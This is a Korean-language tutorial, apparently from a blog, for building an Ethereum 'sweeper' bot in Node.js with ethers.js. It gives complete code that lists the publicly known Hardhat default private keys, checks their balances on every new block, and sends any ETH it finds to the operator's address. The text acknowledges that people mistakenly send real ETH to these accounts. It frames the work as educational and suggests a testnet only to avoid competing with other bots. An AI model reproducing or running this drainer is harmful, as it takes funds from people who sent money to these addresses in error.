간단한 이더리움 봇 구축을 위한 단계별 가이드

이 안내서는 교육 및/또는 연구 목적으로만 사용됩니다!

이 튜토리얼에서 만들 봇은 이더리움을 받을 때마다 자동으로 계정에서 자금을 인출합니다.

Hardhat의 계정은 사례 연구로 사용됩니다(Hardhat은 Ethereum 개발자 환경입니다). Hardhat에서 제공하는 20개의 결정론적 계정이 있지만 일부 사람들은 실수로 실제 이더리움을 해당 계정으로 전송합니다. 많은 봇이 사용 가능한 에테르를 손에 넣기를 열망합니다.

Mainnet 봇과의 경쟁을 피하기 위해 우리는 Rinkeby(Ethereum의 테스트 네트워크)에서 봇을 시작합니다.

개인 키에 대한 액세스 권한 얻기


Npx hardhat node 명령은 Hardhat에서 개인 키를 검색합니다. 아래 목록에서 개인 키를 복사하여 붙여넣을 수 있습니다.



Hardhat 계정(공용 주소 + 개인 키)을 요청하는 모든 사람이 정확히 동일한 정보 집합을 받는다는 점에 유의하는 것이 중요합니다. Etherscan에서 계정의 거래 내역을 보면 과거에 실제 거래가 이루어졌음을 알 수 있습니다.



이더리움 봇



JavaScript는 NodeJS와 ethers 라이브러리를 유일한 외부 종속성으로 사용하여 봇을 빌드하는 데 사용됩니다. ethers.js 라이브러리는 이더리움 블록체인 및 해당 생태계와 상호 작용하기 위한 완전하고 컴팩트한 라이브러리를 목표로 합니다.

다음 명령을 실행합니다.

mkdir eth_bot
cd eth_bot
npm init
npm i ethers 
touch eth_bot.js


eth_bot.js에 다음 코드를 추가합니다.

const { ethers } = require("ethers");
const provider = new ethers.providers.JsonRpcProvider("rinkeby_or_alchemy_or_infura_url");
const addressReceiver = "your_eth_address";

const privateKeys =
     ["0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80",
      "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d",
      "0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6",
      "0x47e179ec197488593b187f80a00eb0da91f1b9d0b13f8733639f19c30a34926a",
      "0x8b3a350cf5c34c9194ca85829a2df0ec3153be0318b5e2d3348e872092edffba",
      "0x92db14e403b83dfe3df233f83dfa3a0d7096f21ca9b0d6d6b8d88b2b4ec1564e",
      "0x4bbbf85ce3377467afe5d46f804f221813b2bb87f24d81f60f1fcdbf7cbf4356",
      "0xdbda1821b80551c9d65939329250298aa3472ba22feea921c0cf5d620ea67b97",
      "0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6",
      "0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897",
      "0x701b615bbdfb9de65240bc28bd21bbc0d996645a3dd57e7b12bc2bdf6f192c82",
      "0xa267530f49f8280200edf313ee7af6b827f2a8bce2897751d06a843f644967b1",
      "0x47c99abed3324a2707c28affff1267e45918ec8c3f20b8aa892e8b065d2942dd",
      "0xc526ee95bf44d8fc405a158bb884d9d1238d99f0612e9f33d006bb0789009aaa",
      "0x8166f546bab6da521a8369cab06c5d2b9e46670292d85c875ee9ec20e84ffb61",
      "0xea6c44ac03bff858b476bba40716402b03e41b8e97e276d1baec7c37d42484a0",
      "0x689af8efa8c651a91ad287602527f3af2fe9f6501a7ac4b061667b5a93e037fd",
      "0xde9be858da4a475276426320d5e9262ecfc3ba460bfac56360bfa6c4c28b4ee0",
      "0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e"
     ];


Infura, Alchemy 또는 기타 공급자를 const 공급자에 추가하고 ETH 주소를 상수 addressReceiver에 추가할 수 있습니다.

privateKeys 배열 바로 뒤에 다음 코드를 삽입합니다. "

const bot = async () => {
  provider.on("block", async () => {
    console.log("Listening new block, waiting..)");
    for (let i = 0; i < privateKeys.length; i++) {
      const _target = new ethers.Wallet(privateKeys[i]);
      const target = _target.connect(provider);
      const balance = await provider.getBalance(target.address);
      const txBuffer = ethers.utils.parseEther(".005");
      if (balance.sub(txBuffer) > 0) {
        console.log("NEW ACCOUNT WITH ETH!");
        const amount = balance.sub(txBuffer);
        try {
          await target.sendTransaction({
            to: addressReceiver,
            value: amount
          });
          console.log(`Success! transfered --> ${ethers.utils.formatEther(balance)}`);
        }
        catch (e) {
            console.log(`error: ${e}`);
        }
      }
    }
  });
}

bot();


20개의 계정에 Ethereum이 있는지 확인하기 위해 채굴할 새 블록을 수신합니다. 위의 계정이 ETH를 받으면 JavaScript 파일에 정의된 이더리움 주소로 자금을 이체합니다.

간단한 명령으로 Ethereum Bot을 시작하십시오: node eth_bot.js

재미있게 보내세요!

좋은 웹페이지 즐겨찾기